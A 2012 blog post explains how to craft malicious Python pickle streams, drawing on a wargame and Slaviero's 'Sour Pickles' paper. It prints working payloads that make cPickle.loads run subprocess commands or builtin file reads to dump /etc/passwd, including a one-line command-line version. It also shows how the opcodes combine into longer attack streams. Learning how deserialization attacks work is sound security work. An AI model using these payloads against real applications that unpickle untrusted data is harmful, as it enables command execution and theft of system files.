Shellcoding with Python's Pickles

Posted on Sat 29 September 2012 in code

Playing this wargame recently I came across Python's pickles and the security vulnerabilities they open doors to by definition. It's not an exploit of the functionality but a feature. That might as well be my favorite type of vulnerability, one that's designed to be vulnerable.

Background

I'm not saying the name/level of the wargame to avoid possible spoilers, although if you have ended up here looking for a hint for a specific wargame, then drop me a line, I'll be glad to help; or show up in the game's IRC channel, where someone will be able to help.

There isn't new material in this topic here, as it has already been extensively covered by several blogs and a magnificent paper written by Marco Slaviero for BlackHat USA 2011 titled "Sour Pickles - Shellcoding in Python's serialisation format". Definition and analysis of the Pickle module, its micro Virtual Machine, the format, attack scenarios, opcodes, application survey in the wild (Google App Engine, Django), examples with the tools used to generate shellcode pickles... everything is thoroughly examined in this paper, wonderful work.

While working with pickles and using the tools shared by Slaviero on GitHub, I noticed the verification of the pickle didn't completely work. I don't know if I'm missing something but it looks like it's missing a file called verifier.py which is supposed to run the pickle for verification. Maybe it was removed for security purposes (irony)? Anyway, I forked the repo and created the file, and this is the output I get now when using the verification switch (what it should be):

Anapickle Verification

Now I'm going to show an example of a few useful, very generic pickles that helped me as a basis for other work so that one can get an idea of the power of shellcoding with pickles, but I'm not gonna cover the very basics, Nadia Alramli's post on "Why Python Pickle is Insecure" does an excellent job in explaining the basics of Pickles if you're interested.

Pickling Around

Something simple to warm up: give me a python list of integers like [1,2,3]:

>>> cPickle.loads("(I1\nI2\nI3\nl.")
[1, 2, 3]

Easy, no? Now do the same but using the builtin function list():

>>> list((1,2,3))
[1, 2, 3]
>>> cPickle.loads("c__builtin__\nlist\n((I1\nI2\nI3\nttR.")
[1, 2, 3]

Boooring. Show me the contents of /etc/passwd, that's more interesting (Python >= 2.7)

>>> cPickle.loads("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR."

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
[...]

Cool. Now, can you do that from the command line? I'm lazy when it comes to bringing up interpreters. Sure! Just remember to escape the inner quotes to the pickle string

$ python -c "import cPickle;cPickle.loads(\"csubprocess\nPopen\n((S'cat'\nS'/etc/passwd'\nltR.\")"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]

Can you do the same using ONLY builtin Python modules? Yes! It gets more messy though. A very similar example is in Slaviero's Soul Pickles paper:

>>> apply(getattr(file,'read'),[open('/etc/passwd')])

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]
>>> cPickle.loads("c__builtin__\ngetattr\n(c__builtin__\nfile\nS'read'\ntRp100\n0(c__builtin__\nopen\n(S'/etc/passwd'\ntRlp101\n0c__builtin__\napply\n(g100\ng101\ntR.") 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

I'm going to dissect and explain this one a little bit using anapickle. Let's see the entities and the callables contained in this shellcode:

Dissecting with Anapickle

Two string entities and four callables give us the result. In my opinion the most interesting bit here, specially when you're learning to manually craft your pickles, is to note how the following structure repeats:

store action -> store arguments -> get result -> store result -> clean stack

With this in mind, you can build up the most complex of pickle streams and at the end substitute cleaning the stack with a STOP '.' and you're done. Fascinating stuff.